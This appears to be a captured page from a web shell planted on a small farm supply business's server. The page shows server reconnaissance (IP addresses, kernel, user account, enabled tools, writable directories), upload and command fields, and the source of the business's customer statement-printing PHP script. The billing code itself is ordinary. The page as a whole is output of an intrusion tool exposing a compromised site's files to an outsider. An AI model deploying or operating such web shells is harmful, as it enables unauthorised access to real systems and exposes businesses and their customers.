403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/Backups/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/Backups/print_all_statements.php.tax
<?php
include 'db.php';

$month = $_GET['month'] ?? '';
if (!$month) {
    echo "Month not specified.";
    exit;
}

$tax_rate = 0.072;

// Business info
$business_name = "Wilson Creek Farm Supply";
$address = "117 3rd St S, Wilson Creek WA 98860";
$phone = "509-345-2572";
$email = "info@wilsoncreekfarmsupply.com";
$website = "www.wilsoncreekfarmsupply.com";
$logo = "Logo.jpg";

// Get customers with transactions this month
$stmt = $conn->prepare("
    SELECT DISTINCT c.id, c.first_name, c.last_name
    FROM customers c
    JOIN archived_transactions t ON c.id = t.customer_id
    WHERE DATE_FORMAT(t.archived_on, '%Y-%m') = ?
    ORDER BY c.last_name, c.first_name
");
$stmt->bind_param("s", $month);
$stmt->execute();
$customers = $stmt->get_result();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>All Statements - <?= date('F Y', strtotime($month . '-01')) ?></title>
    <style>
        body {
            font-family: 'Segoe UI', sans-serif;
            color: #333;
            padding: 30px;
            margin: 0;
            background-color: #fff;
        }

        .print-btn {
            margin-bottom: 30px;
        }

        .print-btn button {
            padding: 10px 16px;
            font-size: 16px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }

        .print-btn button:hover {
            background-color: #45a049;
        }

        .statement {
            page-break-after: always;
            padding-bottom: 50px;
        }

        .header {
            display: flex;
            align-items: center;
            border-bottom: 2px solid #ccc;
            padding-bottom: 10px;
            margin-bottom: 20px;
        }

        .header img {
            height: 80px;
            margin-right: 20px;
        }

        .header-info {
            font-size: 14px;
        }

        h2 {
            margin-top: 10px;
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }

        th, td {
            padding: 10px;
            border: 1px solid #ccc;
            text-align: left;
        }

        th {
            background-color: #f0f0f0;
        }

        .total-row {
            font-weight: bold;
            background-color: #fafafa;
        }

        @media print {
            .print-btn {
                display: none;
            }
        }
    </style>
</head>
<body>

<div class="print-btn">
    <button onclick="window.print()">Print All Statements</button>
</div>

<?php while ($cust = $customers->fetch_assoc()): ?>
    <?php
    $customer_id = $cust['id'];
    $customer_name = $cust['first_name'] . ' ' . $cust['last_name'];

    // Get transactions
    $stmt2 = $conn->prepare("
        SELECT * FROM archived_transactions
        WHERE customer_id = ? AND DATE_FORMAT(archived_on, '%Y-%m') = ?
        ORDER BY original_date ASC
    ");
    $stmt2->bind_param("is", $customer_id, $month);
    $stmt2->execute();
    $results = $stmt2->get_result();

    $transactions = [];
    $total = 0;
    $item_total = 0;
    while ($row = $results->fetch_assoc()) {
        $line_total = $row['price'] * $row['quantity'];
        if ($row['taxable']) {
            $line_total *= (1 + $tax_rate);
        }
        $total += $line_total;
    $item_total += $row["price"] * $row["quantity"];
        $transactions[] = $row;
    }
    ?>

    <div class="statement">
        <div class="header">
            <img src="<?= $logo ?>" alt="Logo">
            <div class="header-info">
                <strong><?= $business_name ?></strong><br>
                <?= $address ?><br>
                <?= $phone ?><br>
                <?= $email ?><br>
                <?= $website ?>
            </div>
        </div>

        <h2>Statement for <?= htmlspecialchars($customer_name) ?></h2>
        <p>For the month of <strong><?= date('F Y', strtotime($month . '-01')) ?></strong></p>

        <?php if (count($transactions)): ?>
            <table>
                <tr>
                    <th>Date</th>
                    <th>Qty</th>
                    <th>Item</th>
                    <th>Price</th>
                    <th>Taxable</th>
                    <th>Total</th>
                    <th>Notes</th>
                </tr>
                <?php foreach ($transactions as $t): ?>
                    <?php
                        $line_total = $t['price'] * $t['quantity'];
                        if ($t['taxable']) {
                            $line_total *= (1 + $tax_rate);
                        }
                    ?>
                    <tr>
                        <td><?= $t['original_date'] ?></td>
                        <td><?= $t['quantity'] ?></td>
                        <td><?= htmlspecialchars($t['item_name']) ?></td>
                        <td>$<?= number_format($t['price'], 2) ?></td>
                        <td><?= $t['taxable'] ? 'Yes' : 'No' ?></td>
                        <td>$<?= number_format($line_total, 2) ?></td>
                        <td><?= htmlspecialchars(isset($t['notes']) ? $t['notes'] : '') ?></td>
                    </tr>
                <?php endforeach; ?>
                <tr class="total-row">
                    <td colspan="6" align="right">Total:</td>
                    <td>$<?= number_format($total, 2) ?></td>
                </tr>
            </table>
        <?php else: ?>
            <p><em>No transactions found for this customer.</em></p>
        <?php endif; ?>
    </div>
<?php endwhile; ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit